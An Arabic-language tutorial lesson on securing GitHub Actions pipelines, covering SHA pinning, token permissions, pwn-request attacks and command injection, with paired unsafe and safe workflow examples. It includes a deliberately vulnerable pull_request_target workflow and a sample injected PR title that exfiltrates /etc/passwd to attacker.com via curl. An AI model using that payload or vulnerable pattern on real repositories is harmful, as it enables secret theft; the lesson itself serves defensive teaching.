GitHub Actions بعمق

تأمين GitHub Actions

18 دقيقة الدرس 9 من 30

تأمين GitHub Actions

يمتلك pipeline الـ CI/CD وصولاً مميزاً إلى قاعدة الكود الخاصة بك، وأسرارك، وبنيتك التحتية الإنتاجية. Pipeline غير آمن هو سطح هجوم مباشر. حوادث سلسلة التوريد البارزة — SolarWinds، واختراق Codecov، واختراق tj-actions/changed-files عام 2023 — كلها استغلت أنظمة CI/CD لسرقة الأسرار أو دفع كود خبيث. تعامل فرق الأمان في شركات التقنية الكبرى pipeline كحدود ثقة تُحرَس بعناية مثل محيط شبكة الإنتاج. يُغطي هذا الدرس أربعة ضوابط مترابطة: تثبيت الـ actions على SHAs محددة للكوميت، وتضييق صلاحيات GITHUB_TOKEN، وفهم ومنع هجمات pwn-request، وإدارة الـ actions المسموح بها في منظمتك.

تثبيت الـ Actions على SHAs للكوميت

كل سطر uses: owner/action@ref في workflow الخاص بك هو تبعية خارجية. حين تكتب uses: actions/checkout@v4، تحل GitHub العلامة v4 إلى الكوميت الذي تشير إليه حالياً وتُشغّل ذلك الكود مع وصول كامل للـ runner — بما في ذلك أسرارك. العلامات القابلة للتغيير هي المشكلة: يمكن للمُشغّل (أو مهاجم اخترق المُشغّل) تحريك العلامة إلى كوميت جديد بصمت. سيبدأ workflow الخاص بك بتشغيل كود مختلف في تشغيله التالي دون أي إشارة في ملف الـ workflow الخاص بك.

الحل هو تثبيت كل action على SHA كوميت كامل الطول وغير قابل للتغيير:

# غير آمن — يمكن تحريك علامة v4 إلى كوميت مختلف في أي وقت - uses: actions/checkout@v4 # آمن — مثبّت على الكوميت الدقيق الذي نشر v4.1.1 # التعليق المقروء للإنسان يُخبر المراجعين بالإصدار. - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1 # النمط لأي action خارجية - uses: aws-actions/configure-aws-credentials@e3dd6a429d7300a6a4c196c26e071d42e0343502 # v4.0.2 with: role-to-assume: arn:aws:iam::123456789012:role/GitHubActionsRole aws-region: us-east-1

لإيجاد SHA لعلامة: افتح مستودع الـ action على GitHub، انتقل إلى الإصدار أو العلامة، وانسخ SHA الكوميت الكامل المكوّن من 40 حرفاً من URL أو قائمة كوميتات الإصدار. بدلاً من ذلك، استخدم الـ gh CLI:

# إيجاد SHA الكوميت لعلامة محددة gh api repos/actions/checkout/git/ref/tags/v4.1.1 --jq '.object.sha' # المخرج: b4ffde65f46336ab88eb53be808477a3936bae11 # إن كانت العلامة تشير إلى كائن علامة (علامة مشروحة)، أزل الإشارة gh api repos/actions/checkout/git/refs/tags/v4.1.1 --jq '.object.sha' # ثم حل كائن العلامة للحصول على SHA الكوميت: gh api repos/actions/checkout/git/tags/THAT_SHA --jq '.object.sha'
تثبيت SHA والتحديثات الأصلية: تثبيت SHAs يعني أنك يجب أن تحدث الـ pins يدوياً حين تريد الحصول على إصدار جديد. هذا مقايضة متعمدة: تحصل على الثبات وقابلية التدقيق مقابل عبء صيانة صغير. أدوات مثل Dependabot (مُهيَّأة في .github/dependabot.yml مع package-ecosystem: github-actions) تُؤتمت هذا — تفتح PRs لتحديث SHAs المثبّتة حين تُطلق إصدارات جديدة من الـ actions، فتحصل على أمان التثبيت دون تكلفة التتبع اليدوي.

صلاحيات GITHUB_TOKEN: مبدأ أقل الامتيازات

يُزوَّد كل تشغيل workflow تلقائياً بـ GITHUB_TOKEN قصير الأجل. يمكن لهذا الـ token القراءة والكتابة في مستودعك — إنشاء issues، دفع commits، نشر حزم، الكتابة في GitHub Container Registry، والمزيد. الصلاحيات الافتراضية تعتمد على إعدادات المنظمة، لكن الافتراضي القديم لـ GitHub يمنح وصول كتابة للمحتويات. هذا أوسع بكثير مما تحتاجه وظيفة اختبار.

الضابط هو مفتاح permissions، الذي يمكن تعيينه على مستوى الـ workflow (يُطبَّق على جميع الوظائف) ويُتجاوز على مستوى الوظيفة (يُطبَّق على تلك الوظيفة فقط). ثبّت دائماً أضيق الصلاحيات الممكنة:

# .github/workflows/ci.yml name: CI on: pull_request: branches: ["main"] # الافتراضي على مستوى الـ workflow: قراءة فقط في كل مكان. # كل وظيفة ترث هذا ما لم تتجاوزه. permissions: contents: read jobs: test: runs-on: ubuntu-24.04 # لا حاجة للتجاوز — يرث القراءة فقط من مستوى الـ workflow. steps: - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1 - run: make test release: runs-on: ubuntu-24.04 needs: test if: github.ref == 'refs/heads/main' permissions: contents: write # مطلوب لإنشاء إصدار GitHub / دفع علامات packages: write # مطلوب للنشر على GHCR steps: - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1 - name: Create release run: gh release create "${{ github.ref_name }}" --generate-notes security-scan: runs-on: ubuntu-24.04 permissions: contents: read security-events: write # مطلوب لرفع نتائج SARIF إلى Code Scanning steps: - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1 - name: Run Trivy vulnerability scanner uses: aquasecurity/trivy-action@fbd16365eb88e12433951383f5e99bd901fc618f # v0.19.0 with: scan-type: fs format: sarif output: trivy-results.sarif - uses: github/codeql-action/upload-sarif@cdcdbb579706841c47f7063dda365e292e5cad7a # v2.13.4 with: sarif_file: trivy-results.sarif
مصيدة إنتاجية — لا تستخدم permissions: write-all أبداً: من المغري تعيين permissions: write-all لـ "جعله يعمل فقط" حين تفشل خطوة بسبب خطأ في الصلاحيات. هذا يمنح token الـ workflow وصول كتابة لكل نطاق API تعرضه GitHub — issues وpull-requests وpackages وdeployments وchecks وcode scanning والمزيد. يمكن عندها لـ action مخترقة في سلسلة تبعياتك (حتى تبعية غير مباشرة عبر reusable workflow) إنشاء إصدارات مزيفة، أو الموافقة على PRs خاصة بها، أو استخراج الأسرار عبر استدعاءات GitHub API. دائماً تحقق من النطاق المحدد الذي تحتاجه خطوة ما ومنح ذلك فقط.
GitHub Actions Security Layers GitHub Actions Security Model Attack Vectors Mutable tag hijack Overprivileged GITHUB_TOKEN pwn-request (fork PR) Unvetted third-party action Command injection via inputs Secrets leaked via log or environment exfiltration Security Controls Pin actions to commit SHAs permissions: contents: read pull_request vs pull_request_target boundary Allowed actions policy (org) Use env vars / toJSON() Secrets masking + OIDC (no long-lived creds) Outcome Immutable dependency graph Blast radius limited per job Untrusted code never sees secrets Supply chain audit trail No injection via user input No static credentials in repos or logs
لكل ناقل هجوم ضابط مقابل. الدفاع في العمق: طبّق جميع الضوابط معاً، وليس واحداً فقط.

هجوم pwn-Request: الخطر الأكثر استهانة به

هجوم pwn-request (اختصار "owned pull request") هو أحد أخطر فئات الثغرات في GitHub Actions، ولا تعلم به كثير من الفرق. فهمه أمر جوهري.

الهجوم يستغل الفرق بين حدثي تشغيل:

  • pull_request — يُطلَق حين يُفتح PR من fork. بحكم التصميم، يُشغّل هذا الحدث كود workflow الفرع الأساسي، والـ GITHUB_TOKEN الذي يوفره يمتلك صلاحيات قراءة فقط ولا وصول للأسرار. هذا آمن.
  • pull_request_target — يُطلَق في سياق المستودع الأساسي، لا الـ fork. يمكن للـ workflow الوصول إلى الأسرار والـ GITHUB_TOKEN يمتلك صلاحيات كتابة. أُنشئ هذا الحدث للسماح بأشياء كتصنيف PRs تلقائياً أو نشر تعليقات من forks، لكنه بالغ الخطورة إذا استنسخت كود الـ PR وشغّلته.

نمط الهجوم: يفتح مساهم خبيث PR من fork. إن كان workflow الخاص بك يستخدم pull_request_target ويستنسخ أيضاً كود الـ PR (باستخدام github.event.pull_request.head.sha)، يعمل كود المهاجم بوصول كتابة كامل لمستودعك ووصول كامل لأسرارك. في 2023، اخترقت هذه الفئة من الثغرات مشاريع مفتوحة المصدر كبرى، مُسرِّبةً مفاتيح التوقيع وبيانات اعتماد النشر.

# خطير — pull_request_target + استنساخ كود الـ fork = pwn-request # هذا النمط استُغل مراراً في حوادث حقيقية. on: pull_request_target: types: [opened, synchronize] jobs: test: runs-on: ubuntu-24.04 steps: # خلل: استنساخ كود الـ fork (يتحكم فيه المهاجم) في سياق # pull_request_target يمنح كود المهاجم وصولاً لكل الأسرار. - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1 with: ref: ${{ github.event.pull_request.head.sha }} # غير آمن - run: make test # Makefile المهاجم يعمل مع وصول للأسرار! --- # آمن — افصل الـ workflows حسب مستوى الثقة. # استخدم pull_request (قراءة فقط، لا أسرار) للـ CI الذي يشغّل كود الـ fork. on: pull_request: branches: ["main"] jobs: test: runs-on: ubuntu-24.04 steps: # الاستنساخ الافتراضي: يستنسخ كوميت الدمج للـ PR. # GITHUB_TOKEN قراءة فقط. لا تُمرَّر أسرار. آمن. - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1 - run: make test
حين تحتاج فعلاً إلى pull_request_target: بعض حالات الاستخدام الحقيقية تتطلبه — مثلاً التصنيف التلقائي لـ PR من fork بناءً على المسارات المُغيَّرة، أو نشر تعليق تغطية الاختبارات. النمط الآمن هو workflow مقسوم: شغّل CI مع pull_request (بلا أسرار، كود غير موثوق)، واستخدم pull_request_target فقط لوظيفة منفصلة لا تستنسخ كود الـ PR أبداً. مرّر البيانات بينهما عبر artifacts وحدث workflow_run. هذا النمط الذي تستخدمه مشاريع مثل CPython وTypeScript.

سياسة الـ Actions المسموح بها: الحوكمة على مستوى المنظمة

على مستوى المنظمة أو المؤسسة، تسمح GitHub للمسؤولين بتقييد أي actions يمكن استخدامها عبر جميع المستودعات. هذه هي طبقة السياسة التي تمنع مهندساً من إدخال action خارجية غير مُدقَّقة عن طريق الخطأ في pipeline حرجة.

الخيارات (مُهيَّأة في واجهة GitHub تحت Organization → Settings → Actions → General) هي:

  • السماح بجميع الـ actions — يمكن استخدام أي action من أي مستودع عام. هذا الافتراضي ومناسب فقط للمستودعات الشخصية أو المشاريع منخفضة المخاطر.
  • السماح بـ actions محددة — أهم إعداد للمنظمات الإنتاجية. يمكنك تحديد: السماح بـ actions من GitHub نفسها (actions/*)، والسماح بـ actions من المنشئين الموثّقين (قائمة مُنتقاة تحتفظ بها GitHub)، و/أو السماح بـ actions خارجية محددة بـ owner/repo@SHA دقيقاً أو نمط glob. هذا ما تستخدمه Google وStripe وشركات مماثلة لمنظماتها الداخلية على GitHub.
  • تعطيل GitHub Actions — الخيار النووي؛ يعطّل منصة Actions بأكملها للمنظمة.

بعيداً عن سياسة واجهة المستخدم، يمكنك فرض تثبيت الـ action وممارسات الأمان على مستوى الـ workflow باستخدام Zizmor أو actionlint في CI — أدوات تحليل ثابت تكتشف الـ actions غير المثبّتة، والأنماط الخطرة مثل pull_request_target مع checkout، وكتل الصلاحيات المفقودة:

# تثبيت وتشغيل actionlint محلياً لاكتشاف مشكلات الأمان قبل الدفع # actionlint يفهم صيغة GitHub Actions بعمق — يكتشف مشكلات # يُغفلها كلياً كاشفو YAML العاديون. # macOS brew install actionlint # Linux (تنزيل مباشر) bash <(curl https://raw.githubusercontent.com/rhysd/actionlint/main/scripts/download-actionlint.bash) # التشغيل على جميع الـ workflows في المستودع actionlint # مثال مخرج لانتهاك أمني: # .github/workflows/ci.yml:12:9: "uses" is not pinned to a commit SHA [unpinned-action] # .github/workflows/ci.yml:34:5: "pull_request_target" is used with "actions/checkout" # which is dangerous [dangerous-permission] # دمجه في CI لفحص كل PR: # jobs: # lint-actions: # runs-on: ubuntu-24.04 # steps: # - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # - uses: raven-actions/actionlint@... # ثبّت على SHA

حقن الأوامر عبر تعبيرات الـ Workflow

نمط أمني حرج آخر يجب أن يعرفه كل مهندس: البيانات غير الموثوقة في تعبيرات الـ workflow. حين تُدرج متغير سياق GitHub مثل ${{ github.event.pull_request.title }} مباشرة في أمر shell لـ run:، أنت عرضة للحقن. يصنع المهاجم عنواناً للـ PR يحتوي على محارف خاصة بالـ shell أو أوامر، وتعمل تلك الأوامر في runner الخاص بك بكل ما تمتلكه الوظيفة من صلاحيات.

# غير آمن — بيانات يتحكم فيها المهاجم مُدرَجة مباشرة في الـ shell - name: Print PR title run: echo "PR title: ${{ github.event.pull_request.title }}" # إن كان عنوان الـ PR: foo"; curl attacker.com/exfil?data=$(cat /etc/passwd); echo " # ينفّذ هذا الحمل بأكمله كأوامر shell. # آمن — مرّر عبر متغير بيئة، لا تُدرِج مباشرة أبداً - name: Print PR title env: PR_TITLE: ${{ github.event.pull_request.title }} run: echo "PR title: ${PR_TITLE}" # توسيع متغير البيئة آمن — الـ shell لا يحلل القيمة # كـ code أبداً؛ تُعامَل كبيانات مبهمة. # آمن للبيانات المهيكلة — استخدم toJSON() للتسلسل إلى JSON # ثم حلّله في سكريبتك، لا تُدرِجه خاماً أبداً. - name: Process labels env: LABELS: ${{ toJSON(github.event.pull_request.labels) }} run: python3 -c "import json,os; labels = json.loads(os.environ['LABELS']); print(labels)"
الحقن ليس افتراضياً: عام 2022، أظهر باحث أمني تنفيذ كود في مستودع التوثيق الرسمي لـ GitHub Actions runner باستخدام اسم فرع مصنوع يحتوي على محارف خاصة بالـ shell. فئة الثغرة كانت بالضبط هذه: الإدراج المباشر لـ github.head_ref في أمر shell. القاعدة بسيطة — لا تُدرِج أي قيمة سياق يتحكم فيها المستخدم (github.event.*، github.head_ref، عناوين الـ PR، رسائل الكوميت، نص الـ issue) مباشرة في كتلة run:. مرّر دائماً عبر متغير بيئة.

الأمان في GitHub Actions ليس قائمة مراجعة تُشغّلها مرة واحدة — بل انضباط مستمر. ثبّت actions الخاصة بك وأتمت التحديثات مع Dependabot. عيّن permissions: contents: read على مستوى الـ workflow ومنح وصول الكتابة فقط حيث تحتاجه وظيفة محددة. لا تستخدم pull_request_target أبداً لتشغيل كود fork غير موثوق. فعّل سياسة allowed-actions على مستوى المنظمة. شغّل actionlint في CI. ومرّر دائماً البيانات التي يتحكم فيها المستخدم عبر متغيرات البيئة، لا عبر إدراج التعبيرات في الـ shell. طبّق هذه الضوابط الخمسة وستكون لديك وضعية pipeline تُطابق ما تتطلبه المنظمات الهندسية الواعية بالأمان.